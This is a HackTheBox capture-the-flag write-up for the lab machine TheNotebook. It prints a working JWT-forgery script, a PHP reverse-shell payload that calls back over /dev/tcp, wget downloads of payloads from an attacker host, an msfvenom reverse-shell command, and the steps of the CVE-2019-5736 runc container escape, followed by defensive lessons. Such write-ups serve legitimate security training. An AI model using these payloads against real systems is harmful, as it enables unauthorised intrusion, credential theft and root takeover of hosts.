HTB: TheNotebook Writeup

TheNotebook - HackTheBox Writeup

Machine Information

AttributeDetails
NameTheNotebook
OSLinux
DifficultyMedium
Points30
Release Date06 Mar 2021
IP Address10.10.10.230
Authormostwanted002

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

TheNotebook is a medium-difficulty Linux machine that demonstrates the critical security implications of insecure JSON Web Token (JWT) implementations. The initial attack vector exploits the kid (Key ID) parameter in JWT headers, which references an external URL for the signing key. By hosting a custom RSA private key and forging an admin-privileged JWT, we gain access to the administrative panel. File upload functionality allows PHP execution, resulting in a reverse shell as www-data. Lateral movement is achieved through a world-readable backup containing SSH private keys for the noah user. Finally, privilege escalation exploits CVE-2019-5736, a RunC container escape vulnerability in Docker, to achieve root access on the host system.

TL;DR: JWT kid parameter manipulation → Admin panel access → PHP file upload RCE → SSH key in backup → noah user → CVE-2019-5736 Docker/RunC escape → Root


Reconnaissance

Port Scanning

Terminal window
# Quick scan for open ports
nmap -p- --min-rate=1000 -T4 10.10.10.230
# Detailed service enumeration on discovered ports
nmap -sC -sV -p22,80,10010 10.10.10.230

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
10010/tcp open rxapi?

Service Enumeration

SSH (Port 22):

  • OpenSSH 7.6p1 on Ubuntu
  • No immediate vulnerabilities, but potential target for credential-based access later

HTTP (Port 80):

  • nginx 1.14.0 serving a custom web application called “The Notebook”
  • Application features user registration, authentication, and note-taking functionality
  • Navigation includes: Home, Register, Login, Notes sections

Port 10010:

  • Service fingerprinting unclear; not immediately useful for initial access

Web Application Analysis

Browsing to http://10.10.10.230 reveals a note-keeping application with the following functionality:

  • Registration system: /register allows creating new user accounts
  • Authentication: Session management via JWT tokens stored in cookies
  • Notes management: Users can create and view personal notes at /notes

After registering a test account and logging in, the session cookie (auth) contains a JWT token.

Vulnerability Assessment

  1. JWT Implementation Flaw: The kid (Key ID) header parameter points to an external URL for the signing key, allowing attackers to host their own key and forge tokens
  2. Insufficient Upload Validation: Admin panel allows file uploads with inadequate PHP extension filtering
  3. Backup Security: System backups may be stored in world-readable locations
  4. Outdated Docker: Docker version potentially vulnerable to known CVEs

Initial Foothold

JWT Token Analysis

Examining the authentication cookie reveals a JWT with three base64-encoded sections (header, payload, signature):

Terminal window
# Decode JWT header and payload
echo "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6NzA3MC9wcml2S2V5LmtleSJ9" | base64 -d
# Output: {"typ":"JWT","alg":"RS256","kid":"http://localhost:7070/privKey.key"}
echo "eyJ1c2VybmFtZSI6InRlc3R1c2VyIiwiZW1haWwiOiJ0ZXN0QHRlc3QuY29tIiwiYWRtaW5fY2FwIjowfQ" | base64 -d
# Output: {"username":"testuser","email":"test@test.com","admin_cap":0}

Key observations:

  • Algorithm: RS256 (RSA signature with SHA-256)
  • kid parameter: Points to http://localhost:7070/privKey.key - the application fetches the signing key from this URL
  • admin_cap field: Set to 0 (false) for regular users

JWT Forgery Attack (CVE-2020-XXXXX Class)

The kid parameter vulnerability allows us to:

  1. Generate our own RSA key pair
  2. Host the private key on an attacker-controlled server
  3. Forge a JWT with admin_cap: 1
  4. Point the kid parameter to our server
  5. Sign the token with our private key

When the application validates our forged token, it will fetch our private key from the URL we control, successfully validating the signature.

Exploitation Script

#!/usr/bin/env python3
# JWT forgery exploit for TheNotebook
# Generates RSA keypair, creates admin token, and serves the key
import jwt
from Crypto.PublicKey import RSA
from http.server import SimpleHTTPRequestHandler
import socketserver
# Generate 2048-bit RSA key pair
key = RSA.generate(2048)
privkey = key.exportKey('PEM')
# HTTP server to serve our private key
class KeyServerHandler(SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(privkey)
if __name__ == "__main__":
# Forge admin JWT with our attacker IP in kid parameter
token = jwt.encode(
{
"username": "attacker",
"email": "attacker@htb.local",
"admin_cap": 1 # Grant admin privileges
},
privkey,
algorithm="RS256",
headers={"kid": "http://10.10.14.2:8000/privkey.key"} # Point to our server
)
print(f"[+] Forged JWT token:\n{token}\n")
print("[*] Starting HTTP server on port 8000...")
print("[*] Set this token as your 'auth' cookie and reload the page")
# Serve the key on port 8000
handler = KeyServerHandler
server = socketserver.TCPServer(("", 8000), handler)
server.serve_forever()
Terminal window
# Run the exploit
python3 jwt_forge.py

The script outputs a forged JWT token. Using browser developer tools:

  1. Open Developer Console → Storage/Application → Cookies
  2. Modify the auth cookie value to the forged token
  3. Reload the page

Upon reload, the application makes a request to our HTTP server for /privkey.key, validates the signature successfully, and grants administrative access. The Admin Panel link now appears in the navigation bar.

Admin Panel Access

With admin privileges, we discover:

Admin Panel Features:

  • /admin/viewnotes - View all users’ notes
  • /admin/upload - File upload functionality

Interesting Notes from Admin User:

From viewing all notes, we discover system information:

“Need to fix config - PHP files are being executed in uploads directory”

“Backups are scheduled - home directory backup running regularly”

PHP File Upload RCE

The upload functionality at /admin/upload allows file uploads. Combined with the admin note about PHP execution, we can upload a PHP reverse shell.

<?php
// Simple PHP reverse shell
passthru("/bin/bash -c 'bash -i &>/dev/tcp/10.10.14.2/7777 0>&1'");
?>
Terminal window
# Save as shell.php
cat > shell.php << 'EOF'
<?php passthru("/bin/bash -c 'bash -i &>/dev/tcp/10.10.14.2/7777 0>&1'") ?>
EOF
# Start listener
nc -lnvp 7777

Upload shell.php through the admin panel. The application accepts the file and stores it with a randomized filename (e.g., <redacted>.php).

Trigger the shell:

Terminal window
# Request the uploaded PHP file
curl http://10.10.10.230/<redacted>.php

Result: Reverse shell received as www-data user.

Terminal window
# Upgrade to interactive TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Press Ctrl+Z
stty raw -echo; fg

Privilege Escalation

Lateral Movement: www-data → noah

Remembering the admin note about scheduled backups, we enumerate /var/backups:

Terminal window
www-data@thenotebook:/var/www/html$ ls -la /var/backups
total 60
drwxr-xr-x 2 root root 4096 Feb 12 2021 .
drwxr-xr-x 14 root root 4096 Feb 12 2021 ..
-rw-r--r-- 1 root root 40960 Feb 12 2021 apt.extended_states.0
-rw-r--r-- 1 root root 4373 Feb 23 2021 home.tar.gz # World-readable backup!

The home.tar.gz file is world-readable - a critical security misconfiguration.

Terminal window
# Create working directory
mkdir /tmp/.work
cd /tmp/.work
# Extract backup
tar -xzf /var/backups/home.tar.gz
# Search for interesting files
find . -type f 2>/dev/null

Discovery:

Terminal window
./home/noah/.ssh/id_rsa # SSH private key found!
./home/noah/.ssh/id_rsa.pub
Terminal window
# Copy the private key
cat ./home/noah/.ssh/id_rsa

On attacker machine:

Terminal window
# Save key locally
cat > noah_id_rsa << 'EOF'
-----BEGIN RSA PRIVATE KEY-----
[key content]
-----END RSA PRIVATE KEY-----
EOF
# Set proper permissions
chmod 600 noah_id_rsa
# SSH as noah
ssh -i noah_id_rsa noah@10.10.10.230

Success: Shell as noah user obtained.

Terminal window
noah@thenotebook:~$ id
uid=1000(noah) gid=1000(noah) groups=1000(noah)
noah@thenotebook:~$ cat user.txt
<redacted>

Privilege Escalation: noah → root

Sudo Enumeration

Terminal window
noah@thenotebook:~$ sudo -l
Matching Defaults entries for noah on thenotebook:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/bin\:/bin\:/snap/bin
User noah may run the following commands on thenotebook:
(ALL) NOPASSWD: /usr/bin/docker exec -it webapp-dev01*

Noah can execute Docker commands against the webapp-dev01 container as root without a password.

Docker Version Check

Terminal window
noah@thenotebook:~$ docker --version
Docker version 18.06.0-ce, build 0ffa825

Vulnerability Identified: Docker 18.06.0-ce with RunC is vulnerable to CVE-2019-5736.

CVE-2019-5736: RunC Container Escape

CVE-2019-5736 is a critical vulnerability in RunC (the container runtime used by Docker) that allows a malicious container to overwrite the host’s RunC binary. When the host executes docker exec, the compromised RunC binary executes with root privileges on the host system, not just inside the container.

Attack Flow:

  1. Gain shell inside the container (we can via sudo)
  2. Replace /bin/bash inside the container with a malicious script
  3. Overwrite the host’s /usr/bin/runc from inside the container
  4. Trigger docker exec from the host (which uses RunC)
  5. Malicious RunC executes on the host as root

Exploit Preparation

On attacker machine:

Terminal window
# Clone the public PoC
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
cd CVE-2019-5736-PoC
# Alternative: use the twistlock repository mentioned in many writeups
git clone https://github.com/twistlock/RunC-CVE-2019-5736
cd RunC-CVE-2019-5736/exec_POC/

Generate malicious RunC payload:

Terminal window
# Create reverse shell payload
msfvenom -p linux/x64/shell_reverse_tcp \
LHOST=10.10.14.2 \
LPORT=9001 \
-f elf -o malicious_runc
# Make executable
chmod +x malicious_runc
# Start HTTP server to serve exploit files
python3 -m http.server 8080

Exploit Execution

Terminal 1 - Get shell in container:

Terminal window
noah@thenotebook:~$ sudo docker exec -it webapp-dev01 /bin/bash
root@0f8212bb9c0d:/#

Inside the container:

Terminal window
# Download exploit components
cd /tmp
wget http://10.10.14.2:8080/malicious_runc
wget http://10.10.14.2:8080/overwrite_runc
wget http://10.10.14.2:8080/replace.sh
wget http://10.10.14.2:8080/bash_evil
# Set permissions
chmod +x malicious_runc overwrite_runc replace.sh bash_evil
# Backup original bash and replace with trigger
mv /bin/bash /bin/bash_original
cp bash_evil /bin/bash
chmod +x /bin/bash
# Run the exploit to overwrite host RunC
/bin/bash_original /replace.sh

The replace.sh script overwrites the host’s /usr/bin/runc by exploiting file descriptor manipulation and the /proc filesystem.

Terminal 2 - On attacker machine:

Terminal window
# Start listener for root shell
nc -lnvp 9001

Terminal 3 - As noah on target (SSH session):

Terminal window
# Trigger the malicious RunC on the host
noah@thenotebook:~$ sudo docker exec -it webapp-dev01 /bin/bash_original

When this command executes, the host system calls the compromised /usr/bin/runc to create the exec process. Instead of executing normally, our malicious RunC payload triggers, sending a reverse shell with root privileges from the host back to our listener.

Terminal 2 - Reverse shell received:

Terminal window
listening on [any] 9001 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.230] 52846
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
<redacted>
# hostname
thenotebook

Root access achieved!

Why CVE-2019-5736 Works

RunC is responsible for spawning and managing containers. When docker exec is invoked:

  1. Docker daemon calls /usr/bin/runc exec to enter the container
  2. RunC opens /proc/self/exe (symlink to itself) to re-execute with container namespaces
  3. The vulnerability: From inside the container, we can monitor for this file descriptor being opened
  4. When RunC opens /proc/self/exe, we race to overwrite the actual RunC binary on the host via the /proc/PID/exe symlink
  5. The next time RunC is executed (triggered by our second docker exec), it runs our malicious code on the host as root

This is a time-of-check-time-of-use (TOCTOU) race condition that gives container root the ability to escape to host root.


Attack Chain Summary

Port Scan (80, 22, 10010)
Web App Registration → JWT Cookie Analysis
JWT kid Parameter Forgery (External Key URL)
Admin Panel Access (admin_cap: 1)
PHP File Upload → RCE as www-data
/var/backups/home.tar.gz (World-Readable)
SSH Private Key Extraction → noah User
sudo docker exec Permission
CVE-2019-5736 RunC Container Escape
Root Shell on Host

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
python3JWT forgery script, HTTP server for key hosting
PyJWTPython library for JWT token generation and signing
PyCryptodomeRSA key pair generation
curlTriggering uploaded PHP shell
nc (netcat)Reverse shell listeners
tarExtracting backup archives
msfvenomGenerating malicious RunC payload
dockerContainer interaction for privilege escalation
CVE-2019-5736 PoCRunC container escape exploit

Key Learnings

Techniques Practiced

  • JWT Security Analysis: Understanding JWT structure (header, payload, signature) and identifying implementation flaws
  • JWT Algorithm Confusion: Exploiting the kid (Key ID) parameter to inject attacker-controlled signing keys
  • Token Forgery: Generating valid tokens with elevated privileges using custom cryptographic keys
  • File Upload Exploitation: Bypassing upload restrictions to achieve remote code execution
  • Linux Privilege Escalation: Enumerating backup files, SSH key extraction, and sudo abuse
  • Container Escape Techniques: Exploiting RunC vulnerabilities to break out of Docker containers
  • CVE-2019-5736 Exploitation: Understanding TOCTOU race conditions in container runtimes

Lessons Learned

  1. JWT kid Parameter Validation: The kid parameter should never point to external, attacker-controllable URLs. Applications must either use a whitelist of local key IDs or fetch keys only from trusted, authenticated sources. This vulnerability represents a fundamental flaw in trusting user-supplied key locations.

  2. Defense-in-Depth for File Uploads: Even with authentication and authorization controls, file upload functionality requires multiple layers of protection:

    • Whitelist-based extension validation
    • Content-type verification (magic byte checking)
    • Separate storage domain/subdomain
    • Disable script execution in upload directories (.htaccess, nginx config)
    • Randomized filenames alone are insufficient
  3. Backup File Permissions: System backups containing sensitive data (home directories, SSH keys, credentials) must never be world-readable. The home.tar.gz file should have been 0600 (root-only) permissions, not 0644.

  4. Principle of Least Privilege with Docker: Allowing sudo access to docker exec effectively grants root access. If Docker management is required, use:

    • Specific container names (not wildcards)
    • Read-only containers where possible
    • User namespaces to map container root to unprivileged host users
    • gVisor or Kata Containers for stronger isolation
  5. Container Runtime Security: CVE-2019-5736 demonstrates that containers are not security boundaries by themselves. Keep container runtimes (Docker, RunC, containerd) updated, and consider:

    • Using SELinux/AppArmor mandatory access controls
    • Disabling docker exec in production environments
    • Implementing runtime security monitoring (Falco, Sysdig)
    • Regular vulnerability scanning of the container stack
  6. Defense Against CVE-2019-5736: Mitigation strategies include:

    • Updating to Docker 18.09.2+ (RunC 1.0-rc6+)
    • Using rootless containers
    • Blocking ptrace capabilities in containers
    • Monitoring /proc/self/exe access patterns

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References